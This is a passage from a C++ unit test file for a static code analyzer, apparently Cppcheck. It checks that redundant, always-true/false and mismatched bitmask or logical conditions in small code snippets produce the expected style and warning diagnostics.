ApplyGraphicToObject() {\\n\"\n \" if (&rHitObject) {}\\n\"\n \" else if (rHitObject.IsClosedObj() && !&rHitObject) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Condition '&rHitObject' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:42]: (style) Condition '!&rHitObject' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // #5695: increment\n check(\"void f(int a0, int n) {\\n\"\n \" int c = a0 & 3;\\n\"\n \" for (int a = 0; a < n; a++) {\\n\"\n \" c++;\\n\"\n \" if (c == 4)\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) {\\n\" // #6662\n \" int x = a & 1;\\n\"\n \" while (x <= 4) {\\n\"\n \" if (x != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'x!=5' is always true. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\" // #6662\n \" int x = a & 1;\\n\"\n \" while ((x += 4) < 10) {\\n\"\n \" if (x != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int x);\\n\"\n \"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void g(int & x);\\n\"\n \"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void mismatchingBitAnd() {\n check(\"void f(int a) {\\n\"\n \" int b = a & 0xf0;\\n\"\n \" b &= 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:5]: (style) Mismatching bitmasks. Result is always 0 (X = Y & 0xf0; Z = X & 0x1; => Z=0). [mismatchingBitAnd]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" int b = a & 0xf0;\\n\"\n \" int c = b & 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Mismatching bitmasks. Result is always 0 (X = Y & 0xf0; Z = X & 0x1; => Z=0). [mismatchingBitAnd]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" int b = a;\"\n \" switch (x) {\\n\"\n \" case 1: b &= 1; break;\\n\"\n \" case 2: b &= 2; break;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparison() {\n // CheckCondition::comparison test cases\n // '=='\n check(\"void f(int a) {\\n assert( (a & 0x07) == 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) == 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & b & 4 & c ) == 3 );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Expression '(X & 0x4) == 0x3' is always false. [comparisonError]\\n\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) == 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) == 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) == 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x01) == -15 );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n // '!='\n check(\"void f(int a) {\\n assert( (a & 0x07) != 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) != 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) != 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) != 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) != 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) != 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n // '>='\n check(\"void f(int a) {\\n assert( (a & 0x07) >= 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) >= 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x7) >= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) >= 0x7' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) >= 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) >= 8U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '>'\n check(\"void f(int a) {\\n assert( (a & 0x07) > 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) > 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x7) > 6U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) > 0x6' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) > 6U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) > 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '<='\n check(\"void f(int a) {\\n assert( (a & 0x07) <= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) <= 0x7' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x08) <= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x8) <= 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) <= 6U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x08) <= 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '<'\n check(\"void f(int a) {\\n assert( (a & 0x07) < 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) < 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x07) < 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) < 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) < 3U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) < 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n\n check(\"void f(int i) {\\n\" // #11998\n \" if ((i & 0x100) == 0x200) {}\\n\"\n \" if (0x200 == (i & 0x100)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\"\n \"[test.cpp:2:12]: (style) Expression '(X & 0x100) == 0x200' is always false. [comparisonError]\\n\"\n \"[test.cpp:3:21]: (style) Expression '(X & 0x100) == 0x200' is always false. [comparisonError]\\n\",\n errout_str());\n\n checkP(\"#define MACRO1 (0x0010)\\n\" // #13222\n \"#define MACRO2 (0x0020)\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f(int i, int j) {\\n\" // #13360\n \" int X = 0x10;\\n\"\n \" if ((i & 0xff00) == X) {}\\n\"\n \" if (X == (j & 0xff00)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Expression '(X & 0xff00) == 0x10' is always false. [comparisonError]\\n\"\n \"[test.cpp:4:17]: (style) Expression '(X & 0xff00) == 0x10' is always false. [comparisonError]\\n\",\n errout_str());\n }\n\n#define checkPureFunction(code) checkPureFunction_(code, __FILE__, __LINE__)\n void multicompare() {\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" if (x & 7);\\n\"\n \" else { if (x == 1); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" if (x & 7);\\n\"\n \" else { if (x & 1); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"extern int bar() __attribute__((pure));\\n\"\n \"void foo(int x)\\n\"\n \"{\\n\"\n \" if ( bar() >1 && b) {}\\n\"\n \" else if (bar() >1 && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (style) Expression is always false because 'else if' condition matches previous condition at line 4. [multiCondition]\\n\", errout_str());\n\n checkPureFunction(\"extern int bar();\\n\"\n \"void foo(int x)\\n\"\n \"{\\n\"\n \" if ( bar() >1 && b) {}\\n\"\n \" else if (bar() >1 && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (style) Expression is always false because 'else if' condition matches previous condition at line 4. [multiCondition]\\n\", errout_str());\n\n // 7284\n check(\"void foo() {\\n\"\n \" if (a) {}\\n\"\n \" else if (!!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n // #11059\n check(\"int f();\\n\"\n \"void g() {\\n\"\n \" int i = f();\\n\"\n \" if (i == 3) {}\\n\"\n \" else if ((i = f()) == 5) {}\\n\"\n \" else if (i == 3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"void g() {\\n\"\n \" int i = f();\\n\"\n \" if (i == 3) {}\\n\"\n \" else if ((i = f()) == 5) {}\\n\"\n \" else if (i != 3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n template\n void checkPureFunction_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n void overlappingElseIfCondition() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) { b = 1; }\\n\"\n \" else { if (a) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) { b = 1; }\\n\"\n \" else { if (a) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1) { b = 1; }\\n\"\n \" else { if (a == 2) { b = 2; }\\n\"\n \" else { if (a == 1) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1) { b = 1; }\\n\"\n \" else { if (a == 2) { b = 2; }\\n\"\n \" else { if (a == 2) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a++) { b = 1; }\\n\"\n \" else { if (a++) { b = 2; }\\n\"\n \" else { if (a++) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (!strtok(NULL, \\\" \\\")) { b = 1; }\\n\"\n \" else { if (!strtok(NULL, \\\" \\\")) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(Class &c) {\\n\"\n \" if (c.dostuff() == 3) {}\\n\"\n \" else { if (c.dostuff() == 3) {} }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Class &c) {\\n\"\n \" if (c.dostuff() == 3) {}\\n\"\n \" else { if (c.dostuff() == 3) {} }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n }\n\n check(\"void f(int a, int &b) {\\n\"\n \" x = x / 2;\\n\"\n \" if (x < 100) { b = 1; }\\n\"\n \" else { x = x / 2; if (x < 100) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int64_t i) {\\n\"\n \" if(i == 0x02e2000000 || i == 0xa0c6000000)\\n\"\n \" foo(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 3689 ( avoid false positive )\n check(\"int fitInt(long long int nValue){\\n\"\n \" if( nValue < 0x7fffffffLL )\\n\"\n \" {\\n\"\n \" return 32;\\n\"\n \" }\\n\"\n \" if( nValue < 0x7fffffffffffLL )\\n\"\n \" {\\n\"\n \" return 48;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" if( nValue < 0x7fffffffffffffffLL )\\n\"\n \" {\\n\"\n \" return 64;\\n\"\n \" } else\\n\"\n \" {\\n\"\n \" return -1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(WIDGET *widget) {\\n\"\n \" if (dynamic_cast(widget)){}\\n\"\n \" else if (dynamic_cast(widget)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B { virtual void v() {} };\\n\" // #11037\n \"class D1 : public B {};\\n\"\n \"class D2 : public B {};\\n\"\n \"void f(const std::shared_ptr&p) {\\n\"\n \" const auto d1 = dynamic_cast(p.get());\\n\"\n \" const auto d2 = dynamic_cast(p.get());\\n\"\n \" if (d1) {}\\n\"\n \" else if (d2) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\" // #6482\n \" if (x & 1) {}\\n\"\n \" else if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 15) {}\\n\"\n \" else if (x == 40) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == sizeof(double)) {}\\n\"\n \" else { if (x == sizeof(long double)) {} }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 0x08) {}\\n\"\n \" else if (x & 0xF8) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 0xF8) {}\\n\"\n \" else if (x & 0x08) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && !!a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( b && !!a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( b && !(!a)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && !(!a)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!(b) && !!(a+b)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8168\n check(\"enum MaskValues\\n\"\n \"{\\n\"\n \" Value1 = 0x00000001,\\n\"\n \" Value2 = 0x00000002\\n\"\n \"};\\n\"\n \"void TestFunction(int value) {\\n\"\n \" if ( value & (int)Value1 ) {}\\n\"\n \" else if ( value & (int)Value2 ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(size_t x) {\\n\"\n \" if (x == sizeof(int)) {}\\n\"\n \" else { if (x == sizeof(long))} {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(size_t x) {\\n\"\n \" if (x == sizeof(long)) {}\\n\"\n \" else { if (x == sizeof(long long))} {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeElseIfCondition() {\n setMultiline();\n\n check(\"void f(int x) {\\n\"\n \" if (x) {}\\n\"\n \" else if (!x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: style: Expression is always true because 'else if' condition is opposite to previous condition at line 2. [multiCondition]\\n\"\n \"[test.cpp:2:9]: note: first condition\\n\"\n \"[test.cpp:3:14]: note: else if condition is opposite to first condition\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x;\\n\"\n \" if (x) {}\\n\"\n \" else if (!y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: style: Expression is always true because 'else if' condition is opposite to previous condition at line 3. [multiCondition]\\n\"\n \"[test.cpp:2:13]: note: 'y' is assigned value 'x' here.\\n\"\n \"[test.cpp:3:9]: note: first condition\\n\"\n \"[test.cpp:4:14]: note: else if condition is opposite to first condition\\n\", errout_str());\n }\n\n void checkBadBitmaskCheck() {\n check(\"bool f(int x) {\\n\"\n \" bool b = x | 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" bool b = 0x02 | x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" int b = x | 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" bool b = x & 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if(x | 0x02)\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" int y = 0x1;\\n\"\n \" if(b) y = 0;\\n\"\n \" if(x | y)\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" foo(a && (x | 0x02));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return (x | 0x02) ? 0 : 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return x ? (x | 0x02) : 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if (x) {\\n\"\n \" return x | 0x02;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"const bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"struct F {\\n\"\n \" static const bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"struct F {\\n\"\n \" typedef bool b_t;\\n\"\n \"};\\n\"\n \"F::b_t f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void create_rop_masks_4( rop_mask_bits *bits) {\\n\"\n \"DWORD mask_offset;\\n\"\n \"BYTE *and_bits = bits->and;\\n\"\n \"rop_mask *rop_mask;\\n\"\n \"and_bits[mask_offset] |= (rop_mask->and & 0x0f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned a, unsigned b) {\\n\"\n \" unsigned cmd1 = b & 0x0F;\\n\"\n \" if (cmd1 | a) {\\n\"\n \" if (b == 0x0C) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\" // #11082\n \" int j = 0;\\n\"\n \" if (i | j) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Operator '|' with one operand equal to zero is redundant. [badBitmaskCheck]\\n\", errout_str());\n\n check(\"#define EIGHTTOIS(x) (((x) << 8) | (x))\\n\"\n \"int f() {\\n\"\n \" return EIGHTTOIS(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define O_RDONLY 0\\n\"\n \"void f(const char* s, int* pFd) {\\n\"\n \" *pFd = open(s, O_RDONLY | O_BINARY, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int FEATURE_BITS = x |\\n\"\n \"#if FOO_ENABLED\\n\"\n \" FEATURE_FOO |\\n\"\n \"#endif\\n\"\n \"#if BAR_ENABLED\\n\"\n \" FEATURE_BAR |\\n\"\n \"#endif\\n\"\n \" 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum precedence { PC0, UNARY };\\n\"\n \"int x = PC0 | UNARY;\\n\"\n \"int y = UNARY | PC0;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define MASK 0\\n\"\n \"#define SHIFT 1\\n\"\n \"int x = 1 | (MASK << SHIFT);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void incorrectLogicOperator1() {\n check(\"void f(int x) {\\n\"\n \" if ((x != 1) || (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Logical disjunction always evaluates to true: x != 1 || x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 != x || 3 != x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x != 1 || x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x<0 && !x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Logical conjunction always evaluates to false: x < 0 && !x. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x==0 && x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Logical conjunction always evaluates to false: x == 0 && x. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\" // ast..\n \" if (y == 1 && x == 1 && x == 7) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (warning) Logical conjunction always evaluates to false: x == 1 && x == 7. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if (x != 1 || y != 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((y == 1) && (x != 1) || (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 1) || (x != 3) && (y == 1))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Condition 'x!=3' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x != 1) && (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) || (x == 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 1) || (y != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != hotdog) || (y != hotdog))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 5) || (y != 5))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((x != 5) || (x != 6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Logical disjunction always evaluates to true: x != 5 || x != 6. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(unsigned int a, unsigned int b, unsigned int c) {\\n\"\n \" if((a != b) || (c != b) || (c != a))\\n\"\n \" {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23] -> [test.cpp:2:35]: (style) Condition 'c!=a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator2() {\n check(\"void f(float x) {\\n\"\n \" if ((x == 1) && (x == 1.0))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Condition 'x==0x00000001' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x 